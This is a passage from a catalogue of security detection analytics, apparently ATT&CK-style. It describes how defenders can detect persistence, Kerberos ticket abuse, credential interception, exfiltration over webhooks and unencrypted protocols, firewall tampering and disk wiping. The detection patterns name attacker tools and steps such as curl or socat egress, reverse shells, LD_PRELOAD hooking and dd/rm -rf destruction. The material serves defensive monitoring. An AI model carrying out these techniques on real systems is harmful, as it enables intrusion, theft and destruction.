Monitor for unexpected modifications of plist files in persistence or configuration directories (e.g., ~/Library/LaunchAgents, ~/Library/Preferences, /Library/LaunchDaemons). Detect when modifications are followed by execution of new or unexpected binaries. Track use of utilities such as defaults, plutil, or text editors making changes to Info.plist files. Correlate file modifications with subsequent process launches or service starts that reference the altered plist.


[AN0307] Analytic 0307

Current version: 1.0

Description:

Correlation of chmod operations setting setuid/setgid bits followed by privileged process execution (EUID != UID), especially from user-writable or abnormal paths.


[AN0308] Analytic 0308

Current version: 1.0

Description:

Observation of chmod commands setting setuid/setgid bits, paired with launch of binaries under elevated execution context (e.g., root-owned binaries launched by unprivileged users).


[AN0309] Analytic 0309

Current version: 1.0

Description:

Detection correlates message events in email and collaboration tools (e.g., Outlook, Teams) that contain regex-like patterns resembling credentials, API keys, or tokens. Anomalous forwarding or bulk copy activity of chat/email content containing secrets is flagged. Suspicious behavior includes users pasting secrets into direct messages or attaching config files with passwords.


[AN0310] Analytic 0310

Current version: 1.0

Description:

Detection monitors SaaS collaboration tools (e.g., Slack, Zoom, Jira) for messages or files containing credential-like patterns, or for suspicious API calls retrieving bulk chat histories by non-admin users. Identifies adversary behavior chains where chat logs are queried via APIs or integration bots to systematically extract sensitive material.


[AN0311] Analytic 0311

Current version: 1.0

Description:

Monitoring modification and execution of user or system logon scripts such as in registry Run keys or startup folders.


[AN0312] Analytic 0312

Current version: 1.0

Description:

Detection of changes or execution of shell initialization scripts like .bashrc, .profile, or /etc/profile for persistence.


[AN0313] Analytic 0313

Current version: 1.0

Description:

Monitoring for modification and execution of login hook scripts or LaunchAgents/LaunchDaemons used for persistence.


[AN0314] Analytic 0314

Current version: 1.0

Description:

Detection of modification to ESXi rc.local.d or rc scripts that are used to execute on boot.


[AN0315] Analytic 0315

Current version: 1.0

Description:

Detection of changes to device startup-config files that include boot scripts or scheduled execution routines.


[AN0316] Analytic 0316

Current version: 1.0

Description:

Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17). Excessive enumeration of accounts with 'Do not require Kerberos preauthentication' set in Active Directory is another key detection point.


[AN0317] Analytic 0317

Current version: 1.0

Description:

Detects attempts to enumerate local groups via Net.exe, PowerShell, or native API calls that precede lateral movement or privilege abuse.


[AN0318] Analytic 0318

Current version: 1.0

Description:

Detects enumeration of local groups using common binaries (groups, getent, cat /etc/group) or scripting with suspicious lineage.


[AN0319] Analytic 0319

Current version: 1.0

Description:

Detects use of dscl or id/group commands to enumerate local system groups, often by post-exploitation tools or persistence checks.


[AN0320] Analytic 0320

Current version: 1.0

Description:

Inbound spearphishing attempts delivered via third-party services (e.g., Gmail, LinkedIn messages) leading to malicious file downloads or browser-initiated script execution. Defender view includes correlation of external service logins, unexpected file write operations, and suspicious descendant processes spawned from productivity or browser applications.


[AN0321] Analytic 0321

Current version: 1.0

Description:

Use of non-enterprise email or messaging services in Thunderbird, Evolution, or browsers leading to suspicious file downloads and subsequent execution. Defender view includes browser-initiated downloads of unexpected content and shell or interpreter processes launched post-download.


[AN0322] Analytic 0322

Current version: 1.0

Description:

Phishing attempts via iCloud Mail, Gmail, or social media apps accessed on macOS systems. Defender view includes Mail.app or Safari downloads of files followed by osascript, Terminal, or abnormal child process execution.


[AN0323] Analytic 0323

Current version: 1.0

Description:

Abuse of safe mode via BCD modification, boot configuration utilities (bcdedit.exe, bootcfg.exe), and registry persistence under SafeBoot keys. Defender view: suspicious boot configuration changes correlated with registry edits that enable adversary persistence or disable defenses.


[AN0324] Analytic 0324

Current version: 1.0

Description:

Creation or modification of Windows services or scheduled tasks with names or descriptions mimicking legitimate entries, followed by anomalous execution of untrusted binaries or LOLBAS.


[AN0325] Analytic 0325

Current version: 1.0

Description:

Creation or modification of systemd service units or cron jobs using deceptive naming and untrusted command paths, often followed by lateral network activity or privilege escalation.


[AN0326] Analytic 0326

Current version: 1.0

Description:

Creation of LaunchAgents or LaunchDaemons with names resembling known system services but executing non-Apple signed code or scripts.


[AN0327] Analytic 0327

Current version: 1.0

Description:

Correlates inbound network access to remote service ports (e.g., SMB/RPC 445/135, RDP 3389, WinRM 5985/5986) with near-time instability in the target service (crash, abnormal restart), suspicious child process creation under the service, and post-access lateral-movement behaviors. The chain indicates likely exploitation rather than normal administration.


[AN0328] Analytic 0328

Current version: 1.0

Description:

Links inbound network access to SSHD/SMB/NFS/Databases or custom daemons with subsequent daemon crash/restart, core dump, or spawning of shells/reverse shells from the service context, indicating remote exploitation.


[AN0329] Analytic 0329

Current version: 1.0

Description:

Detects exploitation targeting ESXi/vCenter by correlating attempts to reach known exploitable endpoints (OpenSLP 427, CIM 5989, Hostd/Vpxa HTTPS 443, ESXi SOAP) with vmkernel/hostd crashes, unexpected hostd/vpxa restarts, or new reverse/outbound connections from ESXi host/vCenter to internal assets.


[AN0330] Analytic 0330

Current version: 1.0

Description:

Ties inbound access to exposed services (ARD/VNC 5900, SSH 22, ScreenSharing, web services) with process crashes in unified logs and abnormal child processes spawned under those services (e.g., bash, curl) to indicate exploitation.


[AN0331] Analytic 0331

Current version: 1.0

Description:

Detects execution of image viewers or PowerShell scripts accessing or decoding files with mismatched MIME headers or embedded script-like byte patterns; often correlated with suspicious parent-child process lineage and outbound connections.


[AN0332] Analytic 0332

Current version: 1.0

Description:

Detects access to media files followed by execution of scripts (bash, Python, etc.) referencing those same files, or outbound traffic triggered shortly after file read. Correlates unusual use of tools like steghide, exiftool, or image libraries.


[AN0333] Analytic 0333

Current version: 1.0

Description:

Detects manipulation of PNG, JPG, or GIF files by user-initiated scripts followed by script execution or exfiltration behavior, especially from osascript, python, or bash, in combination with LaunchAgent persistence or curl activity.


[AN0334] Analytic 0334

Current version: 1.0

Description:

Correlated user account modification (reset, disable, deletion) events with anomalous process lineage (e.g., PowerShell or net.exe from an interactive session), especially outside of IT admin change windows or by non-admin users.


[AN0335] Analytic 0335

Current version: 1.0

Description:

Password changes or account deletions via 'passwd', 'userdel', or 'chage' preceded by interactive shell or remote command execution from non-privileged accounts.


[AN0336] Analytic 0336

Current version: 1.0

Description:

Execution of dscl or sysadminctl commands to disable, delete, or modify users combined with anomalous process ancestry or terminal session launch.


[AN0337] Analytic 0337

Current version: 1.0

Description:

Invocation of esxcli 'system account remove' from vCLI, SSH, or vSphere API with anomalous user access or outside maintenance windows.


[AN0338] Analytic 0338

Current version: 1.0

Description:

O365 UnifiedAuditLog entries for Remove-Mailbox or Set-Mailbox with account disable or delete actions correlated with suspicious login locations or MFA bypass.


[AN0339] Analytic 0339

Current version: 1.0

Description:

Deletion or disablement of user accounts in platforms like Okta, Salesforce, or Zoom with anomalies in admin session attributes or mass actions within short duration.


[AN0340] Analytic 0340

Current version: 1.0

Description:

Creation or modification of Login Items using AppleScript or Service Management Framework. Detection focuses on file creation/modification of backgrounditems.btm, new executables in Contents/Library/LoginItems/, use of SMLoginItemSetEnabled API, or suspicious processes triggered post-login without user interaction. Behavioral pivot includes anomalous AppleEvents, suspicious parent-child process pairs, and login-triggered execution chains.


[AN0341] Analytic 0341

Current version: 1.0

Description:

Behavioral correlation of privileged registry key creation under the W32Time TimeProviders path combined with a new DLL written to disk and potential process activity by LocalService. Indicates abuse of Time Providers for persistence.


[AN0342] Analytic 0342

Current version: 1.0

Description:

Detects removable drive insertion followed by unusual file access, compression, or staging activity by unauthorized users or unexpected processes.


[AN0343] Analytic 0343

Current version: 1.0

Description:

Detects mounted external devices (via /media or /mnt) followed by large file read or copy operations by shell scripts, unauthorized users, or staging tools (e.g., tar, rsync).


[AN0344] Analytic 0344

Current version: 1.0

Description:

Detects mounting of external volumes followed by high-volume or sensitive file access via Finder, terminal, or third-party apps (e.g., rsync, zip).


[AN0345] Analytic 0345

Current version: 1.0

Description:

Process invokes a standard encoder (e.g., PowerShell -enc, certutil -encode, base64 via .NET/Invoke-Expression) or emits long Base64/hex literals → shortly followed by outbound network egress with high bytes_out:bytes_in ratio or HTTP headers/payloads containing Base64/MIME blocks.


[AN0346] Analytic 0346

Current version: 1.0

Description:

Shell/utility (base64, xxd -p, od, openssl enc -base64, python/perl base64 libraries) encodes data → subsequent outbound connections (curl/wget/bash TCP, socat, python requests) with high asymmetry or Base64/MIME blobs in HTTP/DNS payloads.


[AN0347] Analytic 0347

Current version: 1.0

Description:

Processes use base64/xxd/openssl/python Objective‑C APIs to encode data (seen in EndpointSecurity exec events or Unified Logs) → quick outbound connections with large bytes_out or HTTP POSTs carrying Base64/MIME bodies.


[AN0348] Analytic 0348

Current version: 1.0

Description:

ESXi shell (BusyBox) or VMware utilities (openssl, python if present) used to Base64/hex encode data from datastore or config files → followed by abnormal egress from the host (NSX/flow logs) with asymmetric bytes_out or HTTPS posts to non-management endpoints.


[AN0349] Analytic 0349

Current version: 1.0

Description:

Unusual modification or creation of loginwindow-related plist files in '~/Library/Preferences/ByHost' correlated with unauthorized application paths and execution upon login.


[AN0350] Analytic 0350

Current version: 1.0

Description:

Adversary attempts to gain persistence by modifying ~/.ssh/authorized_keys via shell, text editor, echo or redirected output.


[AN0351] Analytic 0351

Current version: 1.0

Description:

Insertion of public keys into authorized_keys using bash/zsh or editor tools, correlated with suspicious process ancestry.


[AN0352] Analytic 0352

Current version: 1.0

Description:

Abuse of cloud metadata APIs or CLI to push SSH public keys to authorized_keys of virtual machines.


[AN0353] Analytic 0353

Current version: 1.0

Description:

Direct modification of /etc/ssh/keys-/authorized_keys or enabling SSH in sshd_config to support public key auth.


[AN0354] Analytic 0354

Current version: 1.0

Description:

Use of command-line like ip ssh pubkey-chain to bind SSH keys to privileged accounts on routers or switches.


[AN0355] Analytic 0355

Current version: 1.0

Description:

Adversary renames LOLBINs or deploys binaries with spoofed file names, internal PE metadata, or misleading icons to appear legitimate. File creation is followed by execution or service registration inconsistent with known usage.


[AN0356] Analytic 0356

Current version: 1.0

Description:

Adversary drops renamed binaries in uncommon directories (e.g., /tmp, /dev/shm) or uses special characters in names (e.g., trailing space, Unicode RLO). Execution or cronjob registration follows shortly after file drop.


[AN0357] Analytic 0357

Current version: 1.0

Description:

Adversary creates disguised launch daemons or apps with misleading names and bundle metadata (e.g., Info.plist values inconsistent with binary path or icon). Launch is correlated with user logon or persistence setup.


[AN0358] Analytic 0358

Current version: 1.0

Description:

Adversary uses renamed container images, injects files into containers with misleading names or metadata (e.g., renamed system binaries), and executes them during startup or scheduled jobs.


[AN0359] Analytic 0359

Current version: 1.0

Description:

Adversary places scripts or binaries with misleading names in /etc/rc.local.d or /var/spool/cron, or registers services with legitimate-sounding names not present in default ESXi builds.


[AN0360] Analytic 0360

Current version: 1.0

Description:

Suspicious use of scripting parameters or registry edits to hide process windows (e.g., powershell.exe -WindowStyle Hidden, or registry modifications pushing window positions off screen). Defender view: correlation of hidden execution with anomalous process lineage or hVNC-like CreateDesktop API calls.


[AN0361] Analytic 0361

Current version: 1.0

Description:

Suspicious invocation of GUI utilities or scripts with suppressed or redirected windowing options. Defender view: detection of X11 or Wayland calls to spawn windows that do not appear on active displays, or use of nohup/screen/tmux to mask interactive shells.


[AN0362] Analytic 0362

Current version: 1.0

Description:

Modification of plist files to set apple.awt.UIElement or similar flags hiding app icons and windows, and dscl/command-line activity that suppresses visibility. Defender view: correlation of plist modifications with unexpected hidden user applications.


[AN0363] Analytic 0363

Current version: 1.0

Description:

Adversary enumeration of domain accounts using net.exe, PowerShell, WMI, or LDAP queries from non-domain controllers or non-admin endpoints.


[AN0364] Analytic 0364

Current version: 1.0

Description:

Domain account enumeration using ldapsearch, samba tools (e.g., 'wbinfo -u'), or winbindd lookups.


[AN0365] Analytic 0365

Current version: 1.0

Description:

Domain group and user enumeration via dscl or dscacheutil, or queries to directory services from non-admin endpoints.


[AN0366] Analytic 0366

Current version: 1.0

Description:

Detection of suspicious access to cloud-native secret management systems (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, HashiCorp Vault). Focuses on abnormal secret retrieval activity, such as secrets being accessed by unusual identities, from unexpected regions, outside business hours, or at high volume. Correlates API calls to secret retrieval with surrounding authentication events, role assumptions, and anomalous execution patterns.


[AN0367] Analytic 0367

Current version: 1.0

Description:

Detects unusual outbound file transfer behavior using protocols like FTP, SMB, SMTP, or DNS, involving non-standard processes, off-hour activity, or uncommonly high volume.


[AN0368] Analytic 0368

Current version: 1.0

Description:

Detects file exfiltration using tools like curl, scp, or custom binaries over protocols such as FTP, HTTP/S, or DNS tunneling, especially outside baseline user behavior.


[AN0369] Analytic 0369

Current version: 1.0

Description:

Detects non-native file transfer via curl, Python scripts, or AppleScript using uncommon protocols like FTP, SMTP, or DNS exfiltration through mDNSResponder abuse.


[AN0370] Analytic 0370

Current version: 1.0

Description:

Detects access to cloud APIs or CLI tools to move or sync files from sensitive buckets to external endpoints using protocols like HTTPS or S3 APIs.


[AN0371] Analytic 0371

Current version: 1.0

Description:

Detects outbound traffic from hostd/vpxa or guest VM interfaces using unauthorized protocols such as FTP, HTTP POST bursts, or long-lived DNS tunnels.


[AN0372] Analytic 0372

Current version: 1.0

Description:

Adversary-created named mutex using system APIs (e.g., CreateMutexW) followed by conditional process termination or alternate code path indicating malware avoiding reinfection.


[AN0373] Analytic 0373

Current version: 1.0

Description:

File lock acquired via open() + flock() or lockf() on predictable path (e.g., /tmp/.lock123) followed by conditional early exit or divergent process behavior.


[AN0374] Analytic 0374

Current version: 1.0

Description:

User-mode application uses flock() or NSDistributedLock to gain exclusive access to a resource file (e.g., /tmp/guard.lock), conditional logic alters execution if already locked.


[AN0375] Analytic 0375

Current version: 1.0

Description:

Detection of the creation of VSCode or JetBrains CLI tunneling profiles followed by persistent remote access via IDE-integrated tunnels, potentially authenticated via GitHub or JetBrains accounts.


[AN0376] Analytic 0376

Current version: 1.0

Description:

Creation of VSCode tunnel configuration file combined with interactive remote session via code CLI or ssh with JetBrains gateway.


[AN0377] Analytic 0377

Current version: 1.0

Description:

Detection of JetBrains or VSCode tunnel profile creation followed by unusual persistent SSH or IDE-based tunnel communications to devtunnel APIs.


[AN0378] Analytic 0378

Current version: 1.0

Description:

Detects unauthorized access to Windows Credential Manager through anomalous process execution (vaultcmd.exe, rundll32.exe keymgr.dll), suspicious API calls (CredEnumerateA), or direct file access to Credential Locker files. Correlates process creation with subsequent file reads of .vcrd/.vpol files under user Credential Locker directories.


[AN0379] Analytic 0379

Current version: 1.0

Description:

Detects unauthorized use of SMTP/IMAP/POP3 by suspicious binaries (e.g., PowerShell, rundll32) to exfiltrate data or beacon via email, often bypassing proxy or content filters.


[AN0380] Analytic 0380

Current version: 1.0

Description:

Detects non-interactive or script-driven email transmission using tools like sendmail, mailx, or custom SMTP scripts by background processes, especially when sending attachments or large payloads.


[AN0381] Analytic 0381

Current version: 1.0

Description:

Detects email-sending behavior via Terminal, AppleScript, or Automator that interfaces with SMTP or IMAP, typically using curl or mail-related APIs in unsanctioned contexts.


[AN0382] Analytic 0382

Current version: 1.0

Description:

Detects hosts transmitting large volumes of SMTP, IMAP, or POP3 traffic to external IPs or relays that aren't associated with the enterprise mail infrastructure.


[AN0383] Analytic 0383

Current version: 1.0

Description:

Detection of unauthorized modification of Active Directory SID-History attributes to escalate privileges. This chain involves: (1) privileged operations or API calls to DsAddSidHistory or related AD modification functions, (2) observed attribute changes in SID-History (Event ID 5136), (3) new logon sessions where the token includes unexpected or privileged SID-History values, and (4) follow-on resource access using elevated privileges derived from SID-History injection.


[AN0384] Analytic 0384

Current version: 1.0

Description:

Unusual direct disk access attempts (e.g., use of \.\PhysicalDrive notation), abnormal writes to MBR/boot sectors, and installation of kernel drivers that grant raw disk access. Correlate anomalous process creation with disk modification attempts and driver loads.


[AN0385] Analytic 0385

Current version: 1.0

Description:

Processes invoking destructive commands (dd, shred, wipe) with raw device targets (e.g., /dev/sda, /dev/nvme0n1). Detect direct writes to disk partitions and abnormal superblock or bootloader modifications. Correlate shell execution with subsequent block device I/O.


[AN0386] Analytic 0386

Current version: 1.0

Description:

Abnormal invocation of diskutil, asr, or low-level APIs (IOKit) to erase/partition drives. Correlate process execution with unified log entries showing destructive disk operations.


[AN0387] Analytic 0387

Current version: 1.0

Description:

Execution of destructive CLI commands such as 'erase startup-config', 'erase flash:' or 'format disk' on routers/switches. Detect privilege level escalation preceding destructive commands.


[AN0388] Analytic 0388

Current version: 1.0

Description:

Execution of InstallUtil.exe from .NET framework directories with arguments specifying non-standard or attacker-supplied assemblies, especially when followed by suspicious child process creation or script execution. Detection also includes correlation of newly created binaries prior to InstallUtil invocation and anomalous command-line usage compared to historical baselines.


[AN0389] Analytic 0389

Current version: 1.0

Description:

Detects credential harvesting via userland API hooking (e.g., SetWindowsHookEx, IAT, or inline patching) by correlating memory modifications with hook installation functions and suspicious module loads in credential-sensitive processes like lsass.exe, explorer.exe, or winlogon.exe.


[AN0390] Analytic 0390

Current version: 1.0

Description:

Detects credential interception via malicious LD_PRELOAD-based shared libraries loaded into ssh, sudo, or scp processes. Correlates environment variable injection, unexpected library loads, and memory patching behavior.


[AN0391] Analytic 0391

Current version: 1.0

Description:

Detects DYLD_INSERT_LIBRARIES abuse to hook credential-sensitive applications by correlating process spawns with unauthorized library injection and monitoring changes to the __TEXT segment (code) of credential handling binaries.


[AN0392] Analytic 0392

Current version: 1.0

Description:

Detects adversary behavior deleting artifacts (e.g., dropped payloads, evidence files) using native or external utilities (e.g., del, erase, SDelete). Detects deletion events correlated with unusual process lineage or timing post-execution.


[AN0393] Analytic 0393

Current version: 1.0

Description:

Detects deletion of suspicious files (e.g., payloads, temp exes, scripts) via rm, unlink, or secure deletion tools like shred, especially when performed by unexpected users or shortly after execution.


[AN0394] Analytic 0394

Current version: 1.0

Description:

Detects removal of adversary artifacts via rm, unlink, or secure tools, with focus on shell sessions, temp files, and modified LaunchAgents or system directories.


[AN0395] Analytic 0395

Current version: 1.0

Description:

Detects manual or scripted removal of logs, artifacts, or malware droppings via rm or PowerCLI in ESXi shell. Focus on deletions from /tmp/, /var/core/, or /scratch.


[AN0396] Analytic 0396

Current version: 1.0

Description:

Process creation involving suspicious delays (e.g., Sleep, ping -n loops, WaitForSingleObject), followed by sensitive system access or lateral movement behaviors.


[AN0397] Analytic 0397

Current version: 1.0

Description:

Script-based execution of sleep loops or time delay commands (e.g., sleep, ping delay, while-loops) followed by file creation or network connections.


[AN0398] Analytic 0398

Current version: 1.0

Description:

Use of usleep, nanosleep, or NSTimer calls in executables or binaries with no GUI interaction, especially followed by disk/network activity.


[AN0399] Analytic 0399

Current version: 1.0

Description:

Detects unauthorized or anomalous use of command-line interfaces (CLI) on network devices. Focuses on remote access sessions (e.g., SSH/Telnet), privilege escalation within CLI sessions, execution of high-risk commands (e.g., config replace, terminal monitor, no logging), and configuration changes outside of approved windows.


[AN0400] Analytic 0400

Current version: 1.0

Description:

Processes that typically do not perform cryptographic operations loading symmetric encryption libraries (e.g., bcryptprimitives.dll, aes.dll), then initiating outbound connections with high-entropy payloads. Defender correlates process creation, DLL load, and anomalous encrypted traffic patterns.


[AN0401] Analytic 0401

Current version: 1.0

Description:

Unexpected processes (e.g., bash, python, custom binaries) dynamically loading libcrypto or performing AES/RC4 encryption operations, then initiating outbound sessions with abnormal byte entropy or asymmetric traffic patterns.


[AN0402] Analytic 0402

Current version: 1.0

Description:

Launchd jobs or user processes invoking symmetric crypto APIs from the Security framework and generating outbound connections carrying randomized payloads inconsistent with normal TLS patterns.


[AN0403] Analytic 0403

Current version: 1.0

Description:

ESXi daemons (hostd, vpxa) unexpectedly using symmetric encryption routines for external connections. Defender identifies logs of service traffic with encrypted payloads inconsistent with VMware management baselines.


[AN0404] Analytic 0404

Current version: 1.0

Description:

Flows showing encrypted payloads with high entropy not matching TLS handshake patterns, particularly when occurring on non-standard ports. Defender observes NetFlow/IPFIX byte distribution anomalies or IDS/IPS detecting symmetric encryption patterns without associated key exchange.


[AN0405] Analytic 0405

Current version: 1.0

Description:

Detects forged Kerberos Golden Tickets by correlating anomalous Kerberos ticket lifetimes, unexpected encryption types (e.g., RC4 in modern domains), malformed fields in logon/logoff events, and TGS requests without preceding TGT requests. Also monitors for abnormal patterns of access associated with elevated privileges across multiple systems.


[AN0406] Analytic 0406

Current version: 1.0

Description:

Detection of firewall tampering by monitoring processes executing netsh, PowerShell Set-NetFirewallProfile, or sc stop mpssvc. Registry modifications under HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy also indicate adversarial actions.


[AN0407] Analytic 0407

Current version: 1.0

Description:

Detection of iptables, nftables, or firewalld rule modifications. Correlation of sudden drops in active firewall rules with suspicious processes suggests adversarial evasion.


[AN0408] Analytic 0408

Current version: 1.0

Description:

Detection of PF firewall rule modifications via pfctl, socketfilterfw, or defaults write to com.apple.alf. Adversaries often disable firewall profiles entirely or whitelist malicious processes.


[AN0409] Analytic 0409

Current version: 1.0

Description:

Detection of firewall changes using esxcli network firewall set or vSphere API modifications. Sudden disabling of firewall rules across management interfaces is a strong adversarial signal.


[AN0410] Analytic 0410

Current version: 1.0

Description:

Detection of firewall ACL or rule base changes through CLI (e.g., no access-list, permit any any). Monitor configuration commits from unusual users or sessions.


[AN0411] Analytic 0411

Current version: 1.0

Description:

Adversary spawns command-line tools (e.g., del, cipher /w, SDelete) or scripts to recursively delete or overwrite user/system files. This may be correlated with abnormal file IO activity, registry writes, or tampering in critical system directories.


[AN0412] Analytic 0412

Current version: 1.0

Description:

Massive recursive deletions or overwrites via rm -rf, shred, dd, or wiper binaries. May include unlink syscalls, deletion of known config/data paths, or sequential overwrite patterns.


[AN0413] Analytic 0413

Current version: 1.0

Description:

Destruction via rm -rf, overwrite with dd or srm, often executed by script in /tmp or /private/tmp, may also involve file overwrite to political or decoy image data.


[AN0414] Analytic 0414

Current version: 1.0

Description:

Adversary deletes critical infrastructure: EC2 instances, S3 buckets, snapshots, or volumes using elevated IAM credentials. Frequently includes batch API calls with Delete* or TerminateInstances.


[AN0415] Analytic 0415

Current version: 1.0

Description:

Adversary destroys virtual disks (VMDK), images, or VMs by invoking vim-cmd, deleting datastore contents, or purging snapshots.


[AN0416] Analytic 0416

Current version: 1.0

Description:

Container process executes destructive file operations inside volume mounts or host paths. Includes rm -rf /mnt/volumes/, container breakout followed by host deletion attempts.


[AN0417] Analytic 0417

Current version: 1.0

Description:

Adversary gains access to cloud-hosted services such as AWS SES, SNS, or OpenAI API, enables or modifies usage policies, and initiates resource-intensive actions (e.g., mass email/SMS or LLM queries), often from unauthorized regions or under anomalous identity conditions.


[AN0418] Analytic 0418

Current version: 1.0

Description:

Forged SAML tokens can be observed as authentication attempts with valid signatures but missing expected preceding Kerberos or authentication events. Defenders may correlate SAML assertions with absent Event IDs 4769, 1200, or 1202, or tokens issued with abnormal lifetimes, issuers, or claims compared to baseline.


[AN0419] Analytic 0419

Current version: 1.0

Description:

Forged SAML tokens in IaaS environments often manifest as cross-cloud or cross-account authentication without matching STS events. Defenders may see AssumeRole or GetFederationToken API usage without a corresponding SAML assertion log from the trusted IdP.


[AN0420] Analytic 0420

Current version: 1.0

Description:

Forged SAML tokens may be used on Windows systems to authenticate to federated apps without normal Kerberos activity. Defenders may detect anomalous event correlation, where access to SaaS/O365 via SAML occurs without prior TGT requests or user logons.


[AN0421] Analytic 0421

Current version: 1.0

Description:

Forged SAML tokens can appear as SaaS logins where authentication succeeded without MFA, or where tokens contain claims inconsistent with the user profile. Look for concurrent sessions across different geographies with the same SAML assertion ID.


[AN0422] Analytic 0422

Current version: 1.0

Description:

Forged SAML tokens may be leveraged to access O365 apps such as Outlook or SharePoint. Defenders should monitor for token replay across multiple clients or access attempts to privileged mailboxes without prior interactive login.


[AN0423] Analytic 0423

Current version: 1.0

Description:

Detects data access or staging events followed by outbound data flows using unencrypted protocols (e.g., FTP, HTTP) initiated by unexpected processes or to rare destinations.


[AN0424] Analytic 0424

Current version: 1.0

Description:

Detects file access or compression utilities followed by outbound connections using curl, wget, ftp, or custom binaries communicating over unencrypted protocols.


[AN0425] Analytic 0425

Current version: 1.0

Description:

Detects abnormal outbound HTTP/FTP connections by local scripts or binaries outside of standard browser activity, following access to local documents or user data.


[AN0426] Analytic 0426

Current version: 1.0

Description:

Detects shell-based scripts accessing configuration files or snapshots and transmitting them over unencrypted protocols such as FTP or HTTP to non-management IPs.


[AN0427] Analytic 0427

Current version: 1.0

Description:

Detects use of unencrypted protocols (e.g., TFTP, FTP, HTTP) to transfer configuration files, routing tables, or logs to untrusted IP addresses, especially using administrative commands like copy run ftp:.


[AN0428] Analytic 0428

Current version: 1.0

Description:

Detection of raw access to physical drives, modification of boot records (MBR/VBR), and suspicious file creation or alteration within the EFI System Partition (ESP). Correlates privileged process execution with low-level disk modification and unexpected driver or firmware interactions.


[AN0429] Analytic 0429

Current version: 1.0

Description:

Detection of suspicious write operations to block devices, modifications of bootloader files (GRUB, initrd, vmlinuz), and unexpected changes within the EFI System Partition. Monitors privileged execution of utilities like dd, grub-install, or efibootmgr that modify boot sectors or loader entries.


[AN0430] Analytic 0430

Current version: 1.0

Description:

Untrusted or unusual process/script (cmd.exe, powershell.exe, w32tm.exe, net.exe, custom binaries) queries system time/timezone (e.g., w32tm /tz, net time \host, Get-TimeZone, GetTickCount API) and (optionally) is followed within a short window by time-based scheduling or conditional execution (e.g., schtasks /create, at.exe, PowerShell Start-Sleep with large values).


[AN0431] Analytic 0431

Current version: 1.0

Description:

A process (often spawned by a shell, interpreter, or malware implant) executes time discovery via commands (date, timedatectl, hwclock, cat /etc/timezone, /proc/uptime) or direct syscalls (time(), clock_gettime) and is (optionally) followed by scheduled task creation/modification (crontab, at) or conditional sleep logic.


[AN0432] Analytic 0432

Current version: 1.0

Description:

Process/script execution of systemsetup -gettimezone, date, ioreg, or API usage (timeIntervalSinceNow, gettimeofday) followed by time-based scheduling (launchd plist modification) or sleep-based execution.


[AN0433] Analytic 0433

Current version: 1.0

Description:

Interactive or remote shell/API invocation of esxcli system clock get or querying time parameters via hostd/vpxa shortly followed by time/ntp configuration checks or scheduled task creation, executed by non-standard accounts or outside maintenance windows.


[AN0434] Analytic 0434

Current version: 1.0

Description:

Non-standard or rare users/locations issue CLI commands like "show clock detail" or "show timezone"; optionally followed by configuration of time/timezone or NTP sources. AAA/TACACS+ accounting and syslog correlate execution to identity, source IP, and privilege level.


[AN0435] Analytic 0435

Current version: 1.0

Description:

Detection focuses on adversaries placing or modifying malicious dylibs in locations searched by legitimate applications. From the defender’s perspective, observable patterns include unexpected creation or modification of dylib files in application bundle paths, unusual module loads by processes compared to historical baselines, and execution of applications loading dylibs from suspicious directories (e.g., /tmp, user-controlled paths). Correlation across file system changes, process execution, and module loads provides high-fidelity detection.


[AN0436] Analytic 0436

Current version: 1.0

Description:

Unusual processes (e.g., powershell.exe, wscript.exe, mshta.exe) posting data to webhook endpoints (Discord, Slack, webhook.site) using HTTP POST/PUT requests. Defender perspective: suspicious process lineage followed by outbound HTTPS traffic to webhook domains.


[AN0437] Analytic 0437

Current version: 1.0

Description:

Processes such as curl, wget, or custom scripts initiating POST requests to webhook endpoints with encoded or bulk data. Defender perspective: abnormal chaining of file compression or access followed by outbound data to webhook URLs.


[AN0438] Analytic 0438

Current version: 1.0

Description:

Unexpected apps or scripts (osascript, curl, Automator workflows) exfiltrating data via webhooks. Defender perspective: correlation of clipboard/file read operations followed by HTTPS POST traffic to webhook services.


[AN0439] Analytic 0439

Current version: 1.0

Description:

VMware services or management daemons generating HTTP POST requests to webhook endpoints, chained with unusual datastore or log access. Defender perspective: exfiltration from VM logs or disk images over webhook URLs.


[AN0440] Analytic 0440

Current version: 1.0

Description:

Suspicious SaaS tenant activity involving webhook configurations pointing to external or untrusted domains. Defender perspective: repeated automated exports or suspicious webhook endpoint registrations.


[AN0441] Analytic 0441

Current version: 1.0

Description:

Unusual screensaver (.scr) executions correlated with recent registry modifications to HKCU\Control Panel\Desktop values such as SCRNSAVE.exe, ScreenSaveTimeout, and ScreenSaveActive. Detection focuses on PE image paths not consistent with known legitimate screensavers and triggered after user inactivity timeout.


[AN0442] Analytic 0442

Current version: 1.0

Description:

Monitor for unauthorized or unusual modifications to cloud resource hierarchies such as AWS Organizations or Azure Management Groups. Defenders may observe anomalous calls to APIs like LeaveOrganization, CreateAccount, MoveAccount, or Azure subscription transfers. Correlate account activity with administrative role assignments, tenant transfers, or new subscription creation that deviates from organizational baselines. Multi-event correlation should track role elevation followed by hierarchy modifications within a short time window.


[AN0443] Analytic 0443

Current version: 1.0

Description:

Automated and repetitive triggering of SMS messages through OTP/account verification fields on SaaS platforms, leveraging background messaging APIs such as Twilio, AWS SNS, or Amazon Cognito to generate traffic toward attacker-controlled numbers.


[AN0444] Analytic 0444

Current version: 1.0

Description:

Detects Kerberoasting attempts by monitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.


[AN0445] Analytic 0445

Current version: 1.0

Description:

Detection of msiexec.exe execution where command-line arguments reference remote MSI packages, UNC paths, HTTP/HTTPS URLs, or DLLs, correlated with subsequent module loads and/or network connections to previously unseen destinations. The behavioral chain links process creation of msiexec.exe with suspicious parameters, network activity to retrieve payloads, and module loading indicative of malicious installation or DLL execution.


[AN0446] Analytic 0446

Current version: 1.0

Description:

Detection of USB-based remote access hardware (e.g., TinyPilot, PiKVM) attached to the host via drive or peripheral enumeration, triggering vendor identifiers or unusual EDID announcements.


[AN0447] Analytic 0447

Current version: 1.0

Description:

